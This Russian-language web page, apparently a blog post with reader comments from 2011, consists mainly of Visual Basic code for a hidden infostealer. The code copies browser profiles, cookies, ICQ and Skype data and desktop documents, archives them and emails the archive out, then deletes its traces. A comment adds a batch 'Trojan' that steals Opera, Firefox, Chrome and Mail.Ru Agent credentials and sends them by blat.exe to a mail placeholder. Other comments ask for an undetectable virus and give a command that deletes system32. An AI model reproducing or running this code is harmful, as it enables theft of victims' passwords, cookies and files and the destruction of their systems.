Private Sub Timer1_Timer()
Timer1.Interval = 0
End Sub

‘код формы
Private Sub Form_Load()

‘скрываем форму
Form1.Visible = False

‘объекты
On Error Resume Next
Set FSO = CreateObject(«sсriрting.FileSystemObject»)
Set WshShell = Wsсriрt.CreateObject(«Wsсriрt.Shell»)

‘создаем папки для хранения промежуточных файлов
FSO.CreateFolder («c:\654»)
FSO.CreateFolder («c:\Help»)
FSO.CreateFolder («c:\Help\Mozilla»)
FSO.CreateFolder («c:\Help\Opera»)
FSO.CreateFolder («c:\Help\IE»)
FSO.CreateFolder («c:\Help\ICQ»)
FSO.CreateFolder («c:\Help\Skype»)
FSO.CreateFolder («c:\Help\TXT»)
FSO.CreateFolder («c:\Help\DOC»)

‘прячим папки
strDIR = «C:\Help»
Set objFSO = CreateObject(«sсriрting.FileSystemObject»)
Set objDIR = objFSO.GetFolder(strDIR)
objDIR.Attributes = 2

‘создаем bat для копирования паролей и текстовых файлов
Set FSO = CreateObject(«sсriрting.FileSystemObject»)
Set tf = FSO.CreateTextFile(«c:\654\Copy.bat», True)
tf.WriteLine («XCOPY C:\Users\%USERNAME%\AppData\Roaming\Opera\Opera\*.* C:\Help\Opera /Y /H»)
tf.WriteLine («XCOPY C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\cооkies\*.* C:\Help\IE /Y /H»)
tf.WriteLine («CD /D C:\Users\%USERNAME%\AppData\Roaming\Mozilla\Firefox\»)
tf.WriteLine («XCopy Profiles C:\Help\Mozilla\ /H /E /G /Q /R /Y»)
tf.WriteLine («CD /D C:\Users\%USERNAME%\AppData\Roaming\»)
tf.WriteLine («XCopy ICQ C:\Help\ICQ\ /H /E /G /Q /R /Y»)
tf.WriteLine («CD /D C:\Users\%USERNAME%\AppData\Roaming\»)
tf.WriteLine («XCopy Skype C:\Help\Skype\ /H /E /G /Q /R /Y»)
tf.WriteLine («XCopy C:\Users\%USERNAME%\Desktop\*.txt C:\Help\TXT /H /Y»)
tf.WriteLine («XCopy C:\Users\%USERNAME%\Desktop\*.doc C:\Help\DOC /H /Y»)
tf.WriteLine («XCopy C:\Users\%USERNAME%\Desktop\*.docx C:\Help\DOC /H /Y»)
tf.Close

‘запускаем bat в скрытом режиме
Set objShell = CreateObject(«Shell.Application»)
objShell.ShellExecute «copy.bat», «», «C:\654», «», 0

‘ждем 30 сек для того что-бы bat успел сделать свою грязную работу
Wait (30)

‘Создаем архив с файлами в скрытом режиме
Dim RetVal
Dim WinRarApp$, iFileName$, iArhivName$, adr$, iPath$
WinRarApp$ = «C:\Program Files\WinRAR\WinRAR.exe a»
iPath = «C:\»
iFileName$ = «Help»
iArhivName$ = «654\Help.rar»
adr$ = WinRarApp$ & » «»» & iPath & iArhivName$ & «»» «»» & iPath & iFileName$ & «»» »
RetVal = Shell(adr$, vbHide) ‘vbNormalFocus)

‘ждем 30 сек для того что-бы winrar успел сделать архив
Wait (30)

‘Отправляем архив по почте
Const EmailFrom = «почта 1 для отправки»
Const EmailPassword = «пароль от почты 1»
Const strSmtpServer = «smtp сервер для почты 1»
Const EmailTo = «почта 2, сюда придет архив с файлами»
Set objEmail = CreateObject(«CDO.Message»)
objEmail.AddAttachment «C:\654\Help.rar» ‘путь к нашему архиву
objEmail.From = EmailFrom
objEmail.To = EmailTo
objEmail.Subject = «Comp Info» ‘заголовок сообщения
objEmail.Textbоdу = «» ‘текст сообщения
objEmail.Configuration.Fields.Item(«https://schemas.microsoft.com/cdo/configuration/sendusing») = 2
objEmail.Configuration.Fields.Item(«https://schemas.microsoft.com/cdo/configuration/smtpauthenticate») = 1
objEmail.Configuration.Fields.Item(«https://schemas.microsoft.com/cdo/configuration/sendusername») = EmailFrom
objEmail.Configuration.Fields.Item(«https://schemas.microsoft.com/cdo/configuration/sendpassword») = EmailPassword
objEmail.Configuration.Fields.Item(«https://schemas.microsoft.com/cdo/configuration/smtpserver») = strSmtpServer
objEmail.Configuration.Fields.Item(«https://schemas.microsoft.com/cdo/configuration/smtpserverport») = 25
objEmail.Configuration.Fields.updаtе
objEmail.Send

‘заметаем следы
FSO.DeleteFolder «c:\Help»
FSO.DeleteFolder «c:\654»

‘THE END
End
End Sub

Комментарий от xakepo4ku [ 29 июля, 2011, 07:25 ]

taskkill /f /im opera.exe
taskkill /f /im firefox.exe
taskkill /f /im chrome.exe
taskkill /f /im iexplore.exe
taskkill /f /im magent.exe

md C:\pass\
attrib C:\pass +h +s +a +r
md C:\pass\opera\
CD /D %APPDATA%\Opera\Opera\
copy wand.dat C:\pass\opera\ >nul
copy cookies4.dat C:\pass\opera\ >nul
md C:\pass\MailAgent\reg
regedit.exe -ea C:\pass\MailAgent\reg\agent.reg «HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2
regedit.exe -ea C:\pass\MailAgent\reg\agent_3.reg «HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins3
CD /D %APPDATA%
Xcopy Mra\Base C:\pass\MailAgent /K /H /G /Q /R /S /Y /E >nul
Xcopy Mra\Update\ver.txt C:\pass\MailAgent /K /H /G /Q /R /S /Y >nul
md C:\pass\Mozilla\
cd %AppData%\Mozilla\Firefox\Profiles\*.default\
copy cookies.sqlite C:\pass\Mozilla\ >nul
copy key3.db C:\pass\Mozilla\ >nul
copy signons.sqlite C:\pass\Mozilla\ >nul
md C:\pass\Google\
cd %userprofile%\Local Settings\Application Data\Google\Chrome\User Data\Default\
copy /y Login* C:\pass\Google\ >nul
copy /y Cookies* C:\pass\Google\ >nul
copy /y %Windir%\Rar.exe C:\pass\ >nul
del /s /q %SystemRoot%\Rar.exe
C:\pass\rar.exe a -r C:\pass\pass.rar C:\pass\
copy /y C:\pass\pass.rar %SystemRoot%\system32\draiver\ >nul
cd %SystemRoot%\system32\draiver\
blat.exe -install -server smtp.yandex.ru -port 587 -f tvoi mail@yandex.ru -u tvoi mail -pw tvoi pass
ren *.rar pass.rar
blat.exe -body KuLLIku-}I{epTBbI:) -to tvoi mail@yandex.ru -attach pass.rar
rmdir /s /q C:\pass
del /s /q %SystemRoot%\system32\draiver\pass.rar
EXIT
cls

*TroJan-Aksilium*

Комментарий от lol програмист [ 5 августа, 2011, 15:57 ]

помогите пожалуста написать вирус который не палится и отсылает ип и порт чужого компа на почту . заранее спасибо\

Комментарий от vlad [ 10 августа, 2011, 09:53 ]

Отличная статья!!! vsem spasibo
пример:
Цель: Просмотреть содержимое файла
license.txt, который находится на
диске C:\Program Files\Celestia,
после этого удалить его :
TYPE «C:\Program Files
\OpenOffice.org 2.2\license.txt»
PAUSE
DEL «C:\Program Files
\OpenOffice.org 2.2\license.txt»

Комментарий от vlad [ 10 августа, 2011, 10:04 ]

пример:

@Echo off

md Windows
md abgh
md #&%$#$
md games

это функция md создает пустые папки

Комментарий от Я [ 22 августа, 2011, 12:10 ]

Я вот в батниках плохо разбираюсь.
Зачем писать такие большие вирусы.А нельзя так:
@echo off
Del C:\windows\system32\*.*
Извините,если есть ошибки

Комментарий от Panyk [ 26 августа, 2011, 16:07 ]

Да какие вы люди глупые, к чему стремитесь??? Вредить другим??? Я вам за 10 мин такой вирус напишу в vbs что у вас не только винда полетит, но это глупо… Лучше пишете и правда проги полезные…

Написать комментарий








Поиск по сайту

Статистика

Мета

  Разработка и дизайн — StvPromo.ru